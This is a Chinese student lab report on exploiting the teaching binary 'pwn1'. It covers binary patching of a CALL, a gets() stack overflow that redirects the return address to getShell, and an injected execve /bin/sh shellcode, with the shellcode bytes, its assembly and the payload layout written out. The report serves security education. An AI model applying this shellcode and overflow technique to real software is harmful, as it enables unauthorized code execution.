20242416 2026-2027-1 《网络与系统攻防技术》实验一实验报告
20242416 2026-2027-1 《网络与系统攻防技术》实验一实验报告
实验名称: Pwn1 程序逆向分析、执行流修改、缓冲区溢出及 Shellcode 注入
学号: 20242416
实验主机名: wangwenhan
实验环境: VMware Workstation、Kali Linux 2026.2、32 位 ELF 程序pwn1
主要工具: GDB 17.2、GCC 15.2.0、NASM 3.01、readelf、objdump、nm、xxd
1. 基础知识
1.1 ELF 可执行文件与反汇编
ELF(Executable and Linkable Format)是 Linux 系统常见的可执行文件格式。程序在文件中以机器码保存,CPU 运行时依据指令地址、寄存器和内存内容执行。readelf -h 用于查看 ELF 文件头,readelf -l 用于查看程序段与虚拟地址的映射,nm 可以查看保留的函数符号,objdump -d 和 GDB 的 disassemble 可以将机器码解释为汇编指令。
本次目标程序为 ELF32、Intel 80386、小端序、EXEC 类型。小端序意味着多字节整数在内存中按低有效字节优先的方式存储,这会直接影响返回地址在输入数据中的编码顺序。
1.2 控制流与常用 x86 汇编指令
函数调用通常使用 CALL 跳转到目标函数,并将返回地址保存到栈上;RET 从栈中读取返回地址后继续执行。PUSH 向栈压入数据,MOV 进行数据传送,CMP 根据比较结果设置标志位。
| 指令 | 主要功能 | 常见机器码形式(示例) | 本实验中的理解 |
|---|---|---|---|
NOP |
不执行实质操作,进入下一条指令 | 90 |
用于构造 NOP 滑道 |
CMP |
比较操作数并更新标志位 | cmp eax,0 → 83 f8 00 |
为条件跳转提供判断依据 |
JE |
零标志位 ZF=1 时跳转 | 短跳转 74 xx |
相等时按分支跳转 |
JNE |
零标志位 ZF=0 时跳转 | 短跳转 75 xx |
不相等时按分支跳转 |
JMP |
无条件跳转 | 短跳转 eb xx |
直接改变执行位置 |
1.3 栈帧与缓冲区溢出
32 位 x86 程序常使用 EBP 标记函数栈帧,ESP 指向当前栈顶,局部变量一般位于较低地址处,而调用方保存的返回地址通常位于 [EBP+4]。如果输入函数不限制写入长度,就可能覆盖局部缓冲区后方的保存寄存器及返回地址。
gets() 不检查目标缓冲区的大小,已属于不安全、被弃用的输入函数。
1.4 Shellcode、NOP、NX 与 ASLR
Shellcode 是可在目标执行环境中直接运行的一段机器指令序列。NOP 滑道由连续的 0x90 字节组成,使 CPU 从滑道内不同入口开始执行时有机会顺序进入 Shellcode。NX(不可执行内存保护)用于限制部分内存区域执行代码;ASLR(地址空间布局随机化)用于随机化栈等内存区域的地址,提高地址预测难度。
2. 实验内容
本次实验以教学提供的 pwn1 程序为研究对象,按以下三个任务开展:
- 修改程序指令: 分析
main()、foo()和getShell(),创建原始文件副本,修改main()内的CALL指令,使程序直接执行getShell()。 - 缓冲区溢出利用: 保持
pwn1代码不变,定位foo()中的gets()输入位置,结合 GDB 栈内存分析确认返回地址偏移,构造测试输入覆盖返回地址,再验证控制流转向getShell()。 - 自制 Shellcode 注入: 使用 NASM 编写并汇编 32 位 Linux Shellcode,将其写入栈中的输入区域,观察栈权限及运行过程,修复自覆盖问题,并在 GDB 中验证完整 Payload 自动覆盖返回地址后成功启动 Shell 程序。
3. 实验过程
3.1 准备环境与识别目标程序
对目标程序执行:
readelf -h pwn1
nm pwn1 | grep -E 'main|foo|getShell'
识别结果为 ELF32、小端序、Intel 80386,入口地址 0x08048380。查得关键函数如下:
| 函数 | 地址 | 角色 |
|---|---|---|
getShell |
0x0804847d |
调用系统 Shell 的目标函数 |
foo |
0x08048491 |
接收并回显输入 |
main |
0x080484af |
调用 foo,随后结束 |

接着执行 gdb -q ./pwn1,在 GDB 内设置 Intel 汇编显示格式,分别使用 disassemble main、disassemble foo 和 disassemble getShell。关键反汇编内容为:
0x080484b5 <main+6>: call 0x08048491 <foo>
...
0x08048497 <foo+6>: lea eax,[ebp-0x1c]
0x0804849d <foo+12>: call 0x08048330 <gets@plt>
0x080484a8 <foo+23>: call 0x08048340 <puts@plt>
...
0x08048483 <getShell+6>: mov DWORD PTR [esp],0x08048560
0x0804848a <getShell+13>: call 0x08048350 <system@plt>
通过 x/s 0x08048560,确认地址指向字符串 /bin/sh。由此可知正常流程是 main → foo → main 返回,而 getShell() 具有执行 system("/bin/sh") 的功能。

3.2 任务一:修改机器码,直接调用 getShell
为保护原始文件,创建副本 pwn1_20242416_patch。在 GDB 中查得 main() 的 call foo 指令位置为 0x080484b5,机器码为 e8 d7 ff ff ff。进一步使用 readelf -l 查得包含该指令的 LOAD 段在文件偏移 0 处对应虚拟地址 0x08048000,故文件偏移为:
0x080484b5 - 0x08048000 = 0x4b5
xxd -g 1 -s 0x4b5 -l 8 对该偏移处的字节进行了验证。

x86 的 E8 是使用 32 位有符号相对位移的近调用指令,位移应以下一条指令地址 0x080484ba 为基准。要调用的目标地址为 0x0804847d,因此位移为:
0x0804847d - 0x080484ba = -0x3d = -61
对应的5字节机器码为 e8 c3 ff ff ff。对实验副本写入该字节序列,随后使用 xxd 和 objdump 双重验证,显示 call 804847d <getShell>。

运行 ./pwn1_20242416_patch,进入新 Shell 后测试 echo SHELL_SUCCESS、whoami、hostname,依次获得 SHELL_SUCCESS、kali、wangwenhan。说明第一项任务达成;获得的是普通用户 Shell,并非 root 权限。

3.3 任务二:利用缓冲区溢出覆盖返回地址
首先由原始 pwn1 复制得到 pwn1_20242416_bof,反汇编确认 main() 仍调用 foo(),并使用普通输入 hello20242416 测试,结果按原样回显。这确保第二项任务使用的是未经机器码修改的漏洞程序副本。

在 GDB 中对 0x080484ad(foo 的 leave 指令)设置断点,输入 AAAA20242416 后观察:EBP = 0xffffcea8,缓冲区起始位置为 EBP-0x1c = 0xffffce8c,保存的返回地址在 EBP+4 = 0xffffceac,正常内容为 0x080484ba。两地址的距离为:
(EBP + 4) - (EBP - 0x1c) = 0x20 = 32 字节
为了验证上述偏移,编写名为 input_20242416_overflow.txt 的测试输入,其中有32个 A、4个 B 和一个换行。使用 GDB 运行该输入并查询 x/wx $ebp+4,显示 0x42424242,即4个 B 已成功覆盖返回地址。

接着将4个 B 替换为 getShell 的32位地址 0x0804847d。由于小端序,其字节形式为 7d 84 04 08。文件 input_20242416_getshell.bin 使用 xxd 检查后,在 GDB 中读取保存返回地址得到 0x0804847d,与目标函数入口一致。

随后执行:
(cat input_20242416_getshell.bin; cat) | ./pwn1_20242416_bof
在该交互环境中依次输入 echo BOF_SHELL_SUCCESS_20242416、whoami、hostname,实际输出为 BOF_SHELL_SUCCESS_20242416、kali、wangwenhan。第二项任务完成。相比任务一,这次无需修改程序代码,而是利用输入数据控制函数返回地址。

3.4 任务三:自制 Shellcode 的注入与执行
(1)分析执行环境。 运行:
readelf -W -l pwn1 | grep GNU_STACK
cat /proc/sys/kernel/randomize_va_space
结果分别为 GNU_STACK ... RWE 与 2。这说明目标请求可执行栈,而全局 ASLR 已开启。在 GDB 中的 info proc mappings 也实际观察到 [stack] 的权限为 rwxp。

(2)编写第一版机器码。 使用 NASM 的 BITS 32 与 -f bin,编写通过 Linux x86 int 0x80 发起 execve 系统调用的汇编,得到 shellcode_20242416.bin。实际长度25字节,xxd 显示:
31 c0 50 68 2f 2f 73 68 68 2f 62 69 6e
89 e3 50 53 89 e1 31 d2 b0 0b cd 80

(3)注入栈并定位故障。 因缓冲区起点到返回地址共有32字节,将 Payload 设计为“7字节 NOP + 25字节 Shellcode + 4字节返回地址占位符”。GDB 证实机器码已进入输入缓冲区,且 EIP 能跳至 NOP 滑道。然而继续执行后发生 SIGSEGV,EIP 停在 0xffffcea3。查看周围内存发现 /bin//sh 字符串覆盖了原本的指令区,说明 Shellcode 通过 push 构造参数时所使用的栈空间与自身代码发生重叠。

(4)修复 Shellcode。 为避免栈数据覆盖尚未执行的机器码,在第一版 Shellcode 中增加 sub esp, byte 0x70,在后续多次 push 之前将栈顶下移112字节。修复版 shellcode_20242416_v2.asm 的主要内容如下:
BITS 32
section .text
_start:
xor eax, eax
sub esp, byte 0x70
push eax
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
push eax
push ebx
mov ecx, esp
xor edx, edx
mov al, 11
int 0x80
执行汇编命令后新版机器码为28字节,新增机器码 83 ec 70,验证结果与新增指令一致。

(5)完整 Payload 的 GDB 验证。 新版 Shellcode 占28字节,NOP 改为4字节,前32字节仍恰好填至返回地址位置。先用 BBBB 占位,读取 GDB 内存确认前4字节为 90 90 90 90、后28字节为 Shellcode、返回地址为 0x42424242。最后将 Payload 的返回地址部分替换为实验调试中观察到的栈缓冲区地址 0xffffce8c,形成 input_20242416_shellcode_final.bin。

使用完整 Payload 重新进入 GDB,在 foo 的 leave 位置停下后分别检查缓冲区地址与 [EBP+4]。两者均为 0xffffce8c,说明 Payload 已自动覆盖返回地址,无需再次用 GDB 的 set 命令手工写入。删除原程序断点后设置 catch exec,继续执行,GDB 实际返回:
process 132765 is executing new program: /usr/bin/dash
Catchpoint 2 (exec'd /usr/bin/dash)

由此确认:完整 Payload 在 GDB 调试环境下成功进入自制 Shellcode,并通过 execve 执行 /usr/bin/dash。程序映像替换后,原来设在 foo() 的断点地址不再属于新程序,因此此前曾出现无法插入旧断点的提示,该提示不代表 Shellcode 执行失败。
4. 问题及解决方案
问题1:GDB 安装与 Windows/Kali 文件传输不顺利
现象: 初次执行 gdb --version 提示未安装,首次 apt install gdb 提示没有可用安装候选;Windows 文件拖放到 Kali 也没有成功。
解决过程: 更新软件包索引后安装并确认 GDB 17.2;在 VMware 中启用共享文件夹,使用 vmware-hgfsclient 确认 kalishare 可见,再通过 vmhgfs-fuse 挂载到 /mnt/hgfs,最终将 pwn1 复制到独立实验目录。
收获: 工具不存在和目标程序不存在是不同层面的问题,应先保证调试、汇编和文件传输环境稳定。
问题2:第一次修改机器码时再次运行命令触发 AssertionError
现象: Python 脚本报告“原始机器码不匹配,停止修改”。
原因分析: 实验副本中的机器码已经是修改后的 e8 c3 ff ff ff,因此再次运行带有原始字节检查的写入命令时触发断言;不代表文件损坏。
解决过程: 使用 xxd 和 objdump 分别检查字节序列与 call getShell,确认改写已经成功,避免重复写入。
收获: 二进制修改应在写入前进行断言校验,并在写入后使用反汇编独立验证结果。
问题3:GDB 执行成功与独立运行的结果不同
现象: 最终完整 Payload 在 GDB 中触发 exec 成功,脱离 GDB 的一次运行未得到独立 Shell 成功命令的证据。
分析: 系统全局开启 ASLR,而 Payload 使用在 GDB 中观察到的具体栈地址。不能由单次退出直接推断根因,GDB 内外地址布局差异是待检验的可能因素。
处理: 保留 GDB 成功结果及独立运行现象,报告中明确其验证边界,不将未完成的验证写成成功。
5. 学习感悟、思考等
这次实验让我真正理解了“看懂反汇编”和“让程序执行预期行为”之间的区别。开始分析 pwn1 时,我只能看出 main、foo、getShell 是三个函数,还不清楚 CALL 和 RET 如何连接它们。后来通过寻找真实地址、计算相对位移、修改文件偏移 0x4b5 处的机器码,才逐渐把指令编码与程序执行流程对应起来。
缓冲区溢出部分给我的印象最深的是返回地址的定位。最初“32字节偏移”只是根据 EBP-0x1c 和 EBP+4 推算的;随后使用 AAAA、BBBB 作为标记,在 GDB 中看到 0x42424242 真正出现在返回地址位置,这才说明计算得到了实际验证。我也因此认识到,小端序、寄存器和栈布局不是孤立的理论知识,而是影响实验结果的具体细节。
Shellcode 部分并非一次成功。第一版已经能写入栈,也能让 EIP 跳转到 NOP,却在执行过程中发生段错误。我起初容易把“跳转正确”等同于“执行成功”,而实际调试说明两者并不相同。查看崩溃现场后发现 /bin//sh 字符串覆盖了后续指令,再通过调整 ESP 留出安全的参数空间完成修复。这一过程让我理解了保留出错现场、比较修改前后内存,以及依据证据判断问题原因的重要性。
另一个体会是实验记录必须真实、可复查。虚拟机启动故障、工具安装问题、二进制文件重复修改、GDB 断点失效都可能打乱原计划,但这些并非无关紧要的插曲。只有把出现的问题、对应操作和验证结果记录下来,后续才能解释为什么采用某种方案。同时我也认识到,在 GDB 环境中验证通过不等于脱离调试器也一定成功,报告应明确已完成的范围,不应该为了结果好看而忽略未验证部分。
从安全角度看,本实验直接展示了 gets() 这类无边界检查函数为什么危险:一个本来只负责回显输入的函数,可能因内存越界而改变返回控制流。在实际编程中,除了选择带长度检查的输入 API,还应综合考虑栈保护、NX、ASLR、编译器安全选项等多层措施,降低同类漏洞风险。
参考资料
无
浙公网安备 33010602011771号